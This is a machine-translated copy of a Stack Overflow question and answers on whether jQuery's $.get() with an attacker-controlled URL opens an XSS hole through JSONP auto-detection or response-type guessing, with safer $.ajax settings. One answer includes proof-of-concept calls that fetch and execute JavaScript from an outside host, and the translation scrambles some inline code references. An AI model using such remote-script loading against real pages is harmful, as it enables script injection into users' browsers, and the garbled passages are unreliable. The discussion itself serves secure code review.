jQuery的$ .get()是否可以安全地调用不受信任的URL?

问题描述 投票:21回答:6

我最近了解到jQuery的$.getJSON()not safe to call on an untrusted URL。那$.get()呢? URL参数来自不受信任的来源时,调用jQuery的$.get()是安全的,还是不安全?

这是我正在执行的安全代码检查中检查XSS漏洞的方法。示例代码模式:

$.get(url, function (...) { ... })

如果攻击者恶意选择url,此代码模式是否会创建XSS漏洞?

[请假定该函数将安全地处理来自AJAX请求的响应,并且url来自不受信任的来源(例如,其他用户),并且可以由对手完全控制。

[我的担心:如果攻击者选择了url,攻击者是否可以选择导致jQuery猜测数据的恶意URL(例如,包含callback=?并指向其自己的站点或类似的东西)类型应该为JSONP,启用JSONP,在文档中插入脚本标签,并引入XSS漏洞in the same way that getJSON() does? (由于我没有将显式的dataType参数传递给$.get(),因此jQuery会猜测数据类型为described in the docs。我不确定这对安全性有何影响。)

我在代码审查中遇到了这种代码模式,我试图了解它是否是潜在的漏洞。我不是在寻找可以编写此代码的替代方法。相反,我想知道这种代码模式是否安全。


由于威胁模型有些棘手,所以我举个例子来帮助您更好地理解这一点。假设Bob是该服务的用户,并且他可以提供与其个人资料相关联的URL。假设当爱丽丝在她的浏览器中访问鲍勃的个人资料页面时,页面上的Javascript代码采用鲍勃提供的URL,并将其作为参数传递给$.get()。问题是,这安全吗?鲍勃可以用它攻击爱丽丝吗?鲍勃能否利用Alice的全部能力触发Alice的浏览器执行任意Javascript代码?正如链接的问题所解释的,在这种情况下$.getJSON()是不安全的-但是$.get()呢?还是不安全,还是安全?


由于我有一些澄清的要求,让我尝试以另一种方式解释/提出问题。假设我正在执行代码审查,以检查某些Javascript代码是否包含任何XSS漏洞,并且看到以下代码行:

$.get(url, function(resp) { /* do nothing */ });

假设我知道url可以完全由攻击者控制。这是自动的XSS漏洞吗?还是这总是安全的?或者,如果答案是“取决于”,它取决于什么?

或者,这是另一种思考方式。假设我正在执行代码审查,并且看到以下代码行:

$.get(url, f);

假设我知道url可以完全由攻击者控制。我需要检查什么,以验证它是否安全(没有XSS错误)?我知道我需要检查f的代码以查看它是否安全地处理响应,因为如果f粗心,可能会导致XSS错误。我的问题是:这是我唯一需要检查的东西吗?还是无论f的编码方式如何,此代码模式始终都是XSS漏洞?

jquery ajax json security xss
6个回答
10
投票

如果攻击者恶意选择URL,此代码模式是否会产生XSS漏洞?

编辑:是的,但不是出于您提出问题的原因。

奇怪的自动JSONP功能在内部使用ajaxPrefilter("json jsonp")应用于AJAX请求。因此,它适用于json预过滤器列表,但不适用于其他类型或默认的*。但是,预过滤器会在响应发生之前应用,所以这不能仅仅因为服务器使用类似JSON的类型进行回复。

((目前,从1.11.2开始,getJSON的文档并未准确描述这种潜在危险行为在何种情况下发生。getajax的文档未提及自动-完全没有JSONP。因此,也许应该将其视为一个错误。当然,鉴于这种说明的定义很差,我不会依赖它在jQuery的未来版本中保持不变。)

它易受攻击的实际原因(如framp和牙刷所示)是,如果没有dataType参数,jQuery将从响应中猜出一个。如果攻击者的URL击中了类似JS的Content-Type资源,则jQuery会猜测它是JavaScript,eval。注意:为了使AJAX请求足够有效,第三方服务器上的资源必须包含CORS标头。

$.get(url, function (...) { ... }, 'json');

此版本不容易受到响应类型猜测的影响。但是,is容易受到自动JSONP过滤器的影响。

[为了安全起见,必须同时设置dataType选项,如果该选项是json,还要设置jsonp: false选项。不幸的是,您无法在jsonp方法中设置get()选项。您应该能够通过传递一个选项字典而不是参数来做到这一点,但是您不能这样做,因为jQuery是破碎的Do-What-I-Mean API,其行为令人沮丧,目前该API完全无法正常工作(越来越)难以预测。

因此,从不受信任的URL获取JSON的唯一安全方法是通过基本的ajax

$.ajax(url, {dataType: 'json', jsonp: false});

8
投票

jQuery.get does构成XSS安全风险。

[如果您查看jQuery的源代码(或jQuery.get的文档),您会看到jQuery.getjQuery.get只是jQuery.post的包装。

这里有两个问题:

  1. [如果jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });dataType,或者URL以jsonp结尾并且=?dataType,则jQuery将尝试发出JSONP请求,然后向脚本json发出脚本。
  2. 如果响应是脚本,则jQuery将执行该脚本除非 evaldataType,并且json选项设置为jsonp

因此,如果将false设置为dataType,并且将json设置为jsonp,则安全调用false以获取未知的URL。

易受攻击的脚本

jQuery.get

$.get(url, function(...) { ... });

安全脚本

See the example on JSFiddle.

$.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... });


5
投票

取决于。

TL; DR是的,在某些情况下不安全。

如果:

然后,攻击者可以在您的页面上执行JS。

具有匹配协议的恶意服务器,由于Content-Type标头中的jQuery自动检测(对于JS为caniuse,因此正确的CORS标头(Access-Control-Allow-Origin: *)将能够在您的页面上执行JS。

示例,您可以在此页面上尝试stackoverflow(假设您在script上:]

http

如果您想查看未设置CORS标头会发生什么情况:

$.get('http://zensuite.net/js/alert.js', console.log.bind(console));

谈论您的假设,您将不太可能使jQuery将普通的XHR请求转换为脚本的远程包含。

[简要查看了$.get('https://zensuite.net/js/alert.js', console.log.bind(console)); 之后,我认为这不太可能发生(除非某处存在错误),因为只有在请求传输并且您的code是否为之前,您才能切换到“远程脚本模式”

  • dataType,如果URL与json正则表达式rjsonp匹配;
  • /(=)\?(?=&|$)|\?\?/
  • jsonp

这些也容易受到攻击:

script

这当然与问题无关,因为您可以只使用$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json'); $.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp'); $.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script'); 执行远程代码。


1
投票

这是一个好点。但是,如何强制数据类型格式以确保它不会用作JSONP]

$.get

当我们想加快解析速度时,使用acutal $.ajax({ url: url, data: data, success: success, dataType: dataType // force text/plain }); 是为了方便起见,因此,如果您真的了解安全性,请使用自定义的$.getJSON()调用。

更多信息:$.ajax()


0
投票

根据http://api.jquery.com/jquery.ajax/,这是jQuery <3.0.0的XSS漏洞

3.0.0之前的jQuery在没有dataType选项的情况下执行跨域Ajax请求时,容易受到跨站点脚本(XSS)攻击,导致执行文本/ javascript响应。


-3
投票

[您知道,黑客只需打开开发控制台并编写他想要的任何https://nvd.nist.gov/vuln/detail/CVE-2015-9251,他甚至不必更改您的$.get变量。实际上,只要它不干扰相同的域策略,他就可以运行他想要的任何代码。客户端安全的全部要点是确保该家伙只能入侵自己。

因此无需尝试保护客户端的任何内容,其主旨是您不能信任来自浏览器的任何内容,因此您应始终检查服务器中接收的数据,并允许两者之间的交互最少(知道您的参数,它们的类型,等等。

© www.soinside.com 2019 - 2024. All rights reserved.